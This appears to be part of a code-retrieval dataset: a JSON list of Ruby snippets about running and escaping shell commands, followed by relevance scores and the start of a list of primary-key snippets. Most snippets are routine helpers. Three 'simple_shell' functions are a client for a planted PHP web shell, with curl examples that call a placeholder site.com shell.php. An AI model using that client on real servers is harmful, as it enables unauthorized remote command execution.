"def sys(cmd, sensitive=[])\n sanitized = cmd.dup\n sensitive.each { |s| sanitized.gsub!(s, '...') }\n puts \"+ #{sanitized}\"\n\n system(cmd)\nend",
"def run_cmd(input); end",
"def original_run_command=(_arg0); end",
"def run_with_input(shell_command, input_query=/^Password/, response=nil)\n handle_command_with_input(:run, shell_command, input_query, response)\nend",
"def shell_split; end",
"def prepare_exec(text, command)\n prepare_exec_f(text) if command =~ /\\$f/\n prepare_exec_d(text) if command =~ /\\$d/\n prepare_exec_F(text) if command =~ /\\$F/\n prepare_exec_i(text) if command =~ /\\$i/\n prepare_exec_c(text) if command =~ /\\$c/\n prepare_exec_s(text) if command =~ /\\$s/\n end",
"def original_run_command; end",
"def build_shell_step(b, command)\n b.tag! \"hudson.tasks.Shell\" do\n b.command command.to_xs.gsub(\"&\", '&').gsub(\">\", '>') #.gsub(%r{\"}, '"').gsub(%r{'}, ''')\n end\n end",
"def before_shell\n end",
"def command_raw(args)\n\n end",
"def `(cmd) #` for highlighter\n case cmd\n #when /^roll\\ use/\n # can't run b/c of child shell\n when /^roll/\n cmd = cmd.sub('roll', 'ruby -Ilib bin/roll -')\n end\n stdout, stderr = shell.execute(cmd)\n#puts stdout\n#puts stderr\n @stdout = stdout\n @stderr = stderr\n raise \"#{stderr}\" if shell.status != 0\n return @stdout\nend",
"def extract_command; end",
"def shell_command(command, context='bash')\n fail \"shell_command api not supported on #{node.product_id}\" unless\n node.product_id[/N3K|N3K.*-F|N9K.*-F|N9K/]\n unless context == 'bash' || context == 'guestshell'\n fail \"Context must be either 'bash' or 'guestshell'\"\n end\n config(\"run #{context} #{command}\")\n end",
"def _unsafe_system(command)\n\n ### ###\n ### XXX - SECURITY ###\n ### ###\n\n if command =~ /(\\||\\;|\\`)/\n #raise \"Illegal character\"\n _log_error \"FATAL Illegal character in #{command}\"\n return\n end\n\n `#{command}`\n end",
"def sh(service) = execute(method: :shell, service: service)",
"def shell_api; end",
"def exec_cmd(cmd, str)\n return cmd.execute(@pl, str.split(\" \"))\nend",
"def escape_shell_string(str)\n str = str.gsub(/\\\\/, \"\\\\\\\\\\\\\")\n str = str.gsub(/\"/, \"\\\\\\\"\")\n str = str.gsub(/`/, \"\\\\`\")\n str = str.gsub(/;/, \"\\\\;\")\n str = str.gsub(/&/, \"\\\\&\")\n str = str.gsub(/\\|/, \"\\\\|\")\n str = str.gsub(/\\$/, \"\\\\$\")\n str = str.gsub(/ /, \"\\\\ \")\n str\n end",
"def sh cmd\n puts cmd\n put `#{cmd}`\nend",
"def execute_hook(command); end",
"def command_shell_string__from call, *args\n \"#{call} #{args.join \" \"}\"\n end",
"def sh(command)\n puts command\n system command unless dry_run\nend",
"def shellParse(input)\n #input.gsub!(\"\\\\\", \"\\\\\\\\\\\\\") # Allows '\\' chars in windows paths to be handled properly in shellwords\n argv = shellwords(input)\n return(argv) if !(rdi = argv.index('|') || argv.index('>>') || argv.index('>'))\n \n rda = argv.slice!(rdi..-1)\n begin\n if rda[0] == '|'\n raise MiqRedirectError.new(), \"Missing pipe target command\" if rda.length < 2\n $miqOut = IO.popen(rda[1..-1].join(\" \"), \"w\")\n else\n raise MiqRedirectError.new(), \"\\\"#{rda.join(' ')}\\\"\" if rda.length != 2\n $miqOut = File.new(rda[1], rda[0] == '>' ? \"w\" : \"a\")\n end\n rescue => err\n raise MiqRedirectError.new(), err.to_s\n end\n return(argv)\n end",
"def sh(cmd)\n `#{cmd}`\nend",
"def shell_command(command)\n command.map {|word| shell_single_word(word) }.join(' ')\n end",
"def do_shell(line)\n shell = ENV['SHELL']\n line ? write(%x(#{line}).strip) : system(shell)\n end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CMD)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez=@http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results=rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS'].delete('FOO') if $config['HTTP']['HTTP_HEADERS'].keys.include?('FOO')\n if turn_off\n $config['HTTP']['HTTP_HEADERS_ADD'] = false\n end\n end\n end\n end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CMD)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez=@http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results = rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS'].delete('FOO') if $config['HTTP']['HTTP_HEADERS'].keys.include?('FOO')\n if turn_off\n $config['HTTP']['HTTP_HEADERS_ADD'] = false\n end\n end\n end\n end",
"def system(cmd, *rest) end",
"def exploit\n end",
"def run_with_input(shell_command, input_query=/^Password/, response=nil)\n handle_command_with_input(:run, shell_command, input_query, response)\n end",
"def run_with_input(shell_command, input_query=/^Password/, response=nil)\n handle_command_with_input(:run, shell_command, input_query, response)\n end",
"def p4sh cmd\n sh \"#{cmd};\"\n end",
"def `(cmd)\n $shell_result\n end",
"def quoted_shell_params args\n args.map(&method(:quoted_shell_param))\n end",
"def commander _args\n \"commander _args;\" \n end",
"def cmdarg; end",
"def cmdarg; end",
"def cmdarg; end",
"def shell(command, output: false)\n command += ' > /dev/null 2>&1' if !output\n system(command)\nrescue => e\n lex(e, \"Failed to execute shell command: #{command}\")\nend",
"def process_argv!\n super\n if raw_script_name =~ /(\\w+)-([\\w\\-]+)/\n self.command = $2\n else\n self.command = rest.shift\n end\n end",
"def ex(cmd)\n puts cmd\n puts `#{cmd}`\nend",
"def run_cmd(cmd)\n\tend",
"def init_shell()\n\t\traise NotImplementedError\n\tend",
"def handle_shell(cmd)\n cmd = cmd[1, cmd.size - 2]\n result = \"\"\n export_vim\n IO.popen(\"sh -s\", 'w+') do |p|\n p.write cmd\n p.write \"\\nexit 0\\n\" # make shure to end it\n result = p.read\n end\n result.strip\n end",
"def write_shell(buf, shell = nil)\n\t\traise NotImplementedError\n\tend",
"def precmd(line)\n line\n end",
"def doCmd(cmd)\n puts cmd;\n puts `#{cmd}`;\nend",
"def exec(cmd)\n puts cmd\n `#{cmd}`\nend",
"def unquote\n\t\teach { |e| Concatenative::System.process e }\n\tend",
"def process_shell_command\n command_line.set_prompt ':!'\n cmd = command_line.get_command(prompt: ':!')[1..-1]\n execute_external_command pause: true do\n system cmd\n end\n rescue Interrupt\n ensure\n command_line.clear\n command_line.noutrefresh\n end",
"def escape_shell(str)\n case RUBY_PLATFORM\n when /mswin32|bccwin32/\n escape_shell_windows(str)\n else\n escape_shell_unix(str)\n end\n end",
"def split_commands(cmd_line); end",
"def run_command\n really_wrap_shell_code(invoke_pester_scriptblock)\n end",
"def call(*command); end",
"def record_shell_interaction(commands)\n ShellSimulator.new(commands).capture_output do\n load VIRTUAL_SHELL_PROGRAM\n end\nend",
"def sh(content)\n sanitize(Hpricot.parse(content.to_s).to_s)\n end",
"def capture_shell( command, opts = {} )\n accept = opts[ :accept ] || [ 0 ]\n opts = opts.merge( dryrun: true, coalesce: false, accept: [0] )\n args = sh_args( command, opts )\n capture_stream( args, host, :sh, opts )\n @commands << args\n [ accept[ rand( accept.length ) ], \"\" ]\n end",
"def system=(_arg0); end",
"def ps(*args) = execute(args: args)",
"def shebang_line=(_arg0); end",
"def exec\n binding.pry\n # command.run(*service.exec(args.command))\n end",
"def shell_command(cmd, timeout = 1800)\n # insert random marker\n strm = Rex::Text.rand_text_alpha(15)\n endm = Rex::Text.rand_text_alpha(15)\n\n # Send the shell channel's stdin.\n shell_write(\";'#{strm}'\\n\" + cmd + \"\\n'#{endm}';\\n\")\n\n etime = ::Time.now.to_f + timeout\n\n buff = \"\"\n # Keep reading data until the marker has been received or the 30 minture timeout has occured\n while (::Time.now.to_f < etime)\n res = shell_read(-1, timeout)\n break unless res\n timeout = etime - ::Time.now.to_f\n\n buff << res\n if buff.include?(endm)\n # if you see the end marker, read the buffer from the start marker to the end and then display back to screen\n buff = buff.split(/#{strm}\\r\\n/)[-1]\n buff = buff.split(endm)[0]\n buff.gsub!(/(?<=\\r\\n)PS [^>]*>/, '')\n return buff\n end\n end\n buff\n end",
"def shell_string!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n\n type = SHELL_STRING\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 20:5: '`' (~ ( '`' | '\\\\\\\\' ) | '\\\\\\\\' . )* '`'\n match( 0x60 )\n # at line 20:9: (~ ( '`' | '\\\\\\\\' ) | '\\\\\\\\' . )*\n while true # decision 4\n alt_4 = 3\n look_4_0 = @input.peek( 1 )\n\n if ( look_4_0.between?( 0x0, 0x5b ) || look_4_0.between?( 0x5d, 0x5f ) || look_4_0.between?( 0x61, 0xffff ) )\n alt_4 = 1\n elsif ( look_4_0 == 0x5c )\n alt_4 = 2\n\n end\n case alt_4\n when 1\n # at line 20:11: ~ ( '`' | '\\\\\\\\' )\n if @input.peek( 1 ).between?( 0x0, 0x5b ) || @input.peek( 1 ).between?( 0x5d, 0x5f ) || @input.peek( 1 ).between?( 0x61, 0xff )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n end\n\n\n\n when 2\n # at line 20:27: '\\\\\\\\' .\n match( 0x5c )\n match_any\n\n else\n break # out of loop for decision 4\n end\n end # loop for decision 4\n match( 0x60 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n end",
"def issue_command(str)\n puts str\nend",
"def handle_command_with_input(local_run_method, shell_command, input_query, response=nil)\n send(local_run_method, shell_command, {:pty => true}) do |channel, stream, data|\n if data =~ input_query\n if response\n logger.info \"#{data} #{\"*\"*(rand(10)+5)}\", channel[:host]\n channel.send_data \"#{response}\\n\"\n else\n logger.info data, channel[:host]\n response = ::Capistrano::CLI.password_prompt \"#{data}\"\n channel.send_data \"#{response}\\n\"\n end\n else\n logger.info data, channel[:host]\n end\n end\nend",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CommanD)> \"\n http = EasyCurb.new\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez = http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results=rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS_ADD']=false\n end\n end\n end",
"def really_wrap_posix_shell_code(code)\n my_command = <<-BASH\n echo \"Running as '$(whoami)'\"\n # create the modules folder, making sure it's done as current user (not root)\n mkdir -p #{config[:root_path]}/modules\n cd #{config[:root_path]}\n # Send the bash heredoc 'EOF' to the file kitchen_cmd.ps1 using the tool cat\n cat << 'EOF' > kitchen_cmd.ps1\n #!/usr/bin/env pwsh\n #{Util.outdent!(use_local_powershell_modules(code))}\n EOF\n chmod +x kitchen_cmd.ps1\n # Invoke the created kitchen_cmd.ps1 file using pwsh\n #{shell_cmd} ./kitchen_cmd.ps1\n BASH\n\n debug(Util.outdent!(my_command))\n Util.outdent!(my_command)\n end",
"def shq(s) # sh(1)-style quoting\n sprintf(\"'%s'\", s.gsub(/'/, \"'\\\\\\\\''\"))\nend",
"def shell_escape(s)\n s = s.to_s\n if s !~ /^[0-9A-Za-z+,.\\/:=@_-]+$/\n s = s.gsub(\"'\") { \"'\\\\''\" }\n s = \"'#{s}'\"\n end\n s\n end",
"def powershell_wrap(cmd)\n shell = @shell_command || \"powershell\"\n\n # Prevent progress stream from leaking into stderr\n script = \"$ProgressPreference='SilentlyContinue';\" + cmd\n\n # Encode script so PowerShell can use it\n script = script.encode(\"UTF-16LE\", \"UTF-8\")\n base64_script = Base64.strict_encode64(script)\n\n cmd = \"#{shell} -NoProfile -EncodedCommand #{base64_script}\"\n cmd\n end",
"def run_shell(command, env: {}, stdin_data: '')\n # If we're passed a string, convert it to an array beofre passing to capture3\n command = command.split unless command.is_a?(Array)\n Salus::ShellResult.new(*Open3.capture3(env, *command, stdin_data: stdin_data))\n end",
"def shell_init()\n\t\traise NotImplementedError\n\tend",
"def extend_shell(sh, prefix)\n logfile.write \"\\n\" + prefix\n sh.instance_variable_set :@prep_log, logfile\n sh.instance_variable_set :@prep_prefix, \"\\n#{prefix}\"\n sh.instance_variable_set :@stat_count, -1\n sh.instance_variable_set :@stat_every, 128\n sh.instance_variable_set :@home_path, nil\n\n def sh.home_path\n @home_path ||= exec_ignore_code(\"eval echo \\\"~#{@options[:user]}\\\"\").to_s.split(\"\\n\").first.to_s.strip\n end\n\n def sh.with_stat(status, stat_every = 128)\n if @stat_count > -1\n yield\n else\n @stat_count = 0\n @stat_every = stat_every < 1 ? 128 : stat_every\n print status\n yield\n print \"\\n\"\n @stat_count = -1\n @stat_every = 128\n end\n end\n\n def sh.exec(cmd, options = {}, &block)\n super(cmd, options) do |data, type|\n @prep_log.write data.gsub(\"\\n\", @prep_prefix)\n @prep_log.flush\n if @stat_count > -1\n @stat_count += data.length\n while @stat_count >= @stat_every\n @stat_count -= @stat_every\n print '.'\n end\n end\n if block\n block.call data, type\n else\n nil\n end\n end\n end\n\n def sh.stat_exec(status, cmd, options = {}, &block)\n with_stat(status) { exec(cmd, options, &block) }\n end\n\n def sh.sudo_stat_exec(status, cmd, options = {}, &block)\n with_stat(status) { sudo_exec(cmd, options, &block) }\n end\n\n def sh.apt_get(command)\n sudo_exec \"DEBIAN_FRONTEND=noninteractive apt-get -y -q #{command}\"\n end\n\n def sh.get_user_id(user)\n result = exec_ignore_code(\"id -u #{user} 2>/dev/null\").to_s.split(\"\\n\")\n result.any? ? result.first.strip.to_i : 0\n end\n\n def sh.host_info\n @host_info ||=\n begin\n results = exec('cat /etc/*-release').split(\"\\n\").map{|s| s.strip}.reject{|s| s == ''}\n info = {}\n\n results.each do |line|\n if line.include?('=')\n var,_,val = line.partition('=').map{|s| s.strip}\n val = val[1...-1] if val[0] == '\"' && val[-1] == '\"'\n var.upcase!\n info[var] = val\n end\n end\n\n info['ID'] = (info['ID'] || 'unknown').downcase.to_sym\n info['NAME'] ||= info['ID'].to_s\n info['VERSION'] ||= '??'\n info['PRETTY_NAME'] ||= \"#{info['NAME']} #{info['VERSION']}\"\n\n puts info['PRETTY_NAME']\n\n info\n end\n end\n\n sh\n end",
"def run_as_system(command)\n Strainer.ui.debug 'Using %x'\n %x{#{command}}\n end",
"def sh command_string\n with_80_columns do\n `2>&1 #{command_string}`\n end\nend",
"def shell_escape\n inspect.gsub(/\\\\(\\d{3})/) { $1.to_i(8).chr }\n end",
"def run_command(command)\n `#{command}`\nend",
"def expand_command(command)\n if match = /^\"(.+?)\"(?:\\s+(.*))?/.match(command)\n exe, arguments = match.captures\n exe = which(exe) and [ \"\\\"#{exe}\\\"\", arguments ].compact.join(\" \")\n elsif match = /^'(.+?)'(?:\\s+(.*))?/.match(command) and not Facter::Util::Config.is_windows?\n exe, arguments = match.captures\n exe = which(exe) and [ \"'#{exe}'\", arguments ].compact.join(\" \")\n else\n exe, arguments = command.split(/ /,2)\n if exe = which(exe)\n # the binary was not quoted which means it contains no spaces. But the\n # full path to the binary may do so.\n exe = \"\\\"#{exe}\\\"\" if exe =~ /\\s/ and Facter::Util::Config.is_windows?\n exe = \"'#{exe}'\" if exe =~ /\\s/ and not Facter::Util::Config.is_windows?\n [ exe, arguments ].compact.join(\" \")\n end\n end\n end",
"def execute_command(command)\n %x{#{command}}\n end",
"def handle_command_with_input(local_run_method, shell_command, input_query, response=nil)\n send(local_run_method, shell_command, {:pty => true}) do |channel, stream, data|\n if data =~ input_query\n if response\n logger.info \"#{data} #{\"*\"*(rand(10)+5)}\", channel[:host]\n channel.send_data \"#{response}\\n\"\n else\n logger.info data, channel[:host]\n response = ::Capistrano::CLI.password_prompt \"#{data}\"\n channel.send_data \"#{response}\\n\"\n end\n else\n logger.info data, channel[:host]\n end\n end\n end",
"def args\n Mysh.parse_args(cooked_body)\n end",
"def shell(task_family, ip, shell='bash')\n cmd = \"docker exec -i -t `#{docker_ps_task(task_family)}` #{shell}\"\n exec(ssh_cmd(ip) + \" '#{cmd}' \")\n end",
"def cmd; end",
"def initialize(shell)\n\t\tsuper\n\tend",
"def read_shell(length = nil, shell = nil)\n\t\traise NotImplementedError\n\tend",
"def exec(command, &block); end",
"def shell_escape(string)\n return string.gsub(/\\\\/, \"\\\\\\\\\\\\\").gsub(/\\\"/, \"\\\\\\\"\").gsub(/\\$/, \"\\\\\\$\").gsub(/\\`/, \"\\\\\\\\\\`\")\n end",
"def sh(command)\n provider.sh command\n end"
] |
[
"0.73802996",
"0.7371442",
"0.7233444",
"0.6852378",
"0.66496587",
"0.6626033",
"0.65987766",
"0.65598017",
"0.65476626",
"0.6547588",
"0.6547588",
"0.6516827",
"0.64856565",
"0.6439151",
"0.641212",
"0.6394465",
"0.6376933",
"0.63383424",
"0.6333282",
"0.6319847",
"0.63147736",
"0.62677854",
"0.62647986",
"0.6229663",
"0.6198652",
"0.6190787",
"0.61186475",
"0.6116237",
"0.6101053",
"0.6099324",
"0.6051065",
"0.60499567",
"0.6038709",
"0.6032235",
"0.60319453",
"0.60311294",
"0.6023443",
"0.60210013",
"0.60142416",
"0.60142416",
"0.60009015",
"0.5993933",
"0.599023",
"0.599023",
"0.59824914",
"0.5979547",
"0.59791315",
"0.59569806",
"0.59485567",
"0.59485567",
"0.59485567",
"0.5928412",
"0.5925025",
"0.5917409",
"0.59113336",
"0.59111047",
"0.59035105",
"0.59005076",
"0.58786815",
"0.58773285",
"0.5876438",
"0.58714354",
"0.58676684",
"0.5863761",
"0.5858314",
"0.5847775",
"0.58336854",
"0.58229905",
"0.58137524",
"0.5802417",
"0.580195",
"0.57924783",
"0.5787949",
"0.57818925",
"0.577973",
"0.57783526",
"0.57709396",
"0.57663995",
"0.57591903",
"0.57387245",
"0.5731473",
"0.5719239",
"0.5717845",
"0.57113457",
"0.5708762",
"0.5706358",
"0.57059985",
"0.5703256",
"0.57018423",
"0.5676982",
"0.56744504",
"0.5674408",
"0.56679",
"0.566679",
"0.5665725",
"0.5664758",
"0.5661409",
"0.5659459",
"0.5658526",
"0.5649864",
"0.56497204"
] |
0.0
|
-1
|
insert, autoallocating the primary key from a sequence
|
def insert_sequenced(row)
sql = row.type.insert_sql_minus_key
vals = row.field_values_minus_key
#$stderr.puts sql
#$stderr.puts vals.inspect
db.do(sql, *vals)
insert_id = db.select_one(row.type.get_insert_id_sql)[0]
row.send(row.type.primary_key.setter_name, insert_id)
row.reset_changed
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def primary_key_sequence(table, opts=OPTS)\n quoted_table = quote_schema_table(table)\n Sequel.synchronize{return @primary_key_sequences[quoted_table] if @primary_key_sequences.has_key?(quoted_table)}\n cond = {Sequel[:t][:oid] => regclass_oid(table, opts)}\n value = if pks = _select_serial_sequence_ds.first(cond)\n literal(SQL::QualifiedIdentifier.new(pks[:schema], pks[:sequence]))\n elsif pks = _select_custom_sequence_ds.first(cond)\n literal(SQL::QualifiedIdentifier.new(pks[:schema], LiteralString.new(pks[:sequence])))\n end\n\n Sequel.synchronize{@primary_key_sequences[quoted_table] = value} if value\n end",
"def insert_pk\n (f = opts[:from]) && !f.empty? && (t = f.first)\n case t\n when Symbol, String, SQL::Identifier, SQL::QualifiedIdentifier\n if pk = db.primary_key(t)\n Sequel::SQL::Identifier.new(pk)\n end\n end\n end",
"def generate_primary_key\n self[self.class.primary_key] ||= self.class.new_primary_key(10_000)\n end",
"def reset_primary_key_sequence(table)\n return unless seq = primary_key_sequence(table)\n pk = SQL::Identifier.new(primary_key(table))\n db = self\n s, t = schema_and_table(table)\n table = Sequel.qualify(s, t) if s\n\n if server_version >= 100000\n seq_ds = metadata_dataset.from(:pg_sequence).where(:seqrelid=>regclass_oid(LiteralString.new(seq)))\n increment_by = :seqincrement\n min_value = :seqmin\n # :nocov:\n else\n seq_ds = metadata_dataset.from(LiteralString.new(seq))\n increment_by = :increment_by\n min_value = :min_value\n # :nocov:\n end\n\n get{setval(seq, db[table].select(coalesce(max(pk)+seq_ds.select(increment_by), seq_ds.select(min_value))), false)}\n end",
"def insert_pk\n if (f = opts[:from]) && !f.empty?\n case t = f.first\n when Symbol, String, SQL::Identifier, SQL::QualifiedIdentifier\n if pk = db.primary_key(t)\n pk\n end\n end\n end\n end",
"def reset_pk_sequence!(table, pk = nil, sequence = nil) #:nodoc:\n unless pk && sequence\n default_pk, default_sequence = pk_and_sequence_for(table)\n\n pk ||= default_pk\n sequence ||= default_sequence\n end\n\n if @logger && pk && !sequence\n @logger.warn \"#{table} has primary key #{pk} with no default sequence.\"\n end\n\n if pk && sequence\n quoted_sequence = quote_table_name(sequence)\n max_pk = query_value(\"SELECT MAX(#{quote_column_name pk}) FROM #{quote_table_name(table)}\", \"SCHEMA\")\n if max_pk.nil?\n if postgresql_version >= 100000\n minvalue = query_value(\"SELECT seqmin FROM pg_sequence WHERE seqrelid = #{quote(quoted_sequence)}::regclass\", \"SCHEMA\")\n else\n minvalue = query_value(\"SELECT min_value FROM #{quoted_sequence}\", \"SCHEMA\")\n end\n end\n if max_pk\n # NOTE(joey): This is done to replace the call:\n #\n # SELECT setval(..., max_pk, false)\n #\n # with\n #\n # SELECT setval(..., max_pk-1)\n #\n # These two statements are semantically equivilant, but\n # setval(string, int, bool) is not supported by CockroachDB.\n #\n # FIXME(joey): This is incorrect if the sequence is not 1\n # incremented. We would need to pull out the custom increment value.\n max_pk - 1\n end\n query_value(\"SELECT setval(#{quote(quoted_sequence)}, #{max_pk ? max_pk : minvalue})\", \"SCHEMA\")\n end\n end",
"def autoincrementing_primary_key\n primary_key\n end",
"def autoincrementing_primary_key\n primary_key\n end",
"def set_sequence(table_name, pk)\n begin\n stmt = @connection.run(\"select max(#{pk}) + 1 from #{table_name}\")\n next_pk_val = stmt.fetch\n stmt.drop\n flds = table_name.split('.')\n @connection.do(\"sequence_set('#{flds[0]}.#{flds[1]}.#{table_name}.#{pk}', #{next_pk_val}, 0)\")\n return true\n rescue Exception => e\n @logger.unknown(\"exception=#{e}\") if @trace\n end\n return false\n end",
"def reset_pk_sequence!(table, pk = nil, sequence = nil) #:nodoc:\n unless pk and sequence\n default_pk, default_sequence = pk_and_sequence_for(table)\n pk ||= default_pk\n sequence ||= default_sequence\n end\n if pk\n if sequence\n quoted_sequence = quote_column_name(sequence)\n\n select_value <<-end_sql, 'Reset sequence'\n SELECT setval('#{quoted_sequence}', (SELECT COALESCE(MAX(#{quote_column_name pk})+(SELECT increment_by FROM #{quoted_sequence}), (SELECT min_value FROM #{quoted_sequence})) FROM #{quote_table_name(table)}), false)\n end_sql\n else\n @logger.warn \"#{table} has primary key #{pk} with no default sequence\" if @logger\n end\n end\n end",
"def reset_pk_sequence!(table, pk = nil, sequence = nil) #:nodoc:\n unless pk and sequence\n default_pk, default_sequence = pk_and_sequence_for(table)\n pk ||= default_pk\n sequence ||= default_sequence\n end\n if pk\n if sequence\n quoted_sequence = quote_column_name(sequence)\n\n select_value <<-end_sql, 'Reset sequence'\n SELECT setval('#{quoted_sequence}', (SELECT COALESCE(MAX(#{quote_column_name pk})+(SELECT increment_by FROM #{quoted_sequence}), (SELECT min_value FROM #{quoted_sequence})) FROM #{quote_table_name(table)}), false)\n end_sql\n else\n @logger.warn \"#{table} has primary key #{pk} with no default sequence\" if @logger\n end\n end\n end",
"def primary_key(table_name)\n pk_and_sequence_for(table_name)[0]\n rescue\n nil\n end",
